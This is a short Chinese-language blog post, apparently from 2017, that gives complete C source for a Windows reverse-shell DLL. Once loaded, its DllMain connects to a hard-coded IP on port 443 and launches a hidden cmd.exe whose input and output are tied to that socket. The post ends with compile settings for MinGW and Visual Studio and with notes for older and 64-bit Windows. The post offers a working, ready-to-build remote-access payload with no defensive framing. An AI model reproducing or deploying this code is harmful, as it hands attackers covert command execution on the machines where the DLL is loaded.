reverse shell dll 源码

作者: admin 分类: 未分类 发布时间: 2017-05-13 23:31
#pragma comment(lib,"Ws2_32.lib")
#include <WinSock2.h>
#include <stdlib.h> 

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi("443"));
    hax.sin_addr.s_addr = inet_addr("192.168.2.13");

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&ini_processo, &processo_info);
    return TRUE;
}

使用 gcc 编译(mingw ) 如下:

reverse shell dll 源码

 

使用:Visual Studio 2013 编译设置如下:

设置不使用预编译头

或在代码中引入 stdafx.h

reverse shell dll 源码

reverse shell dll 源码

win2003 或win2008 请使用 在静态库中使用 MFC

 

64 位系统使用请编译为64位版本

标签云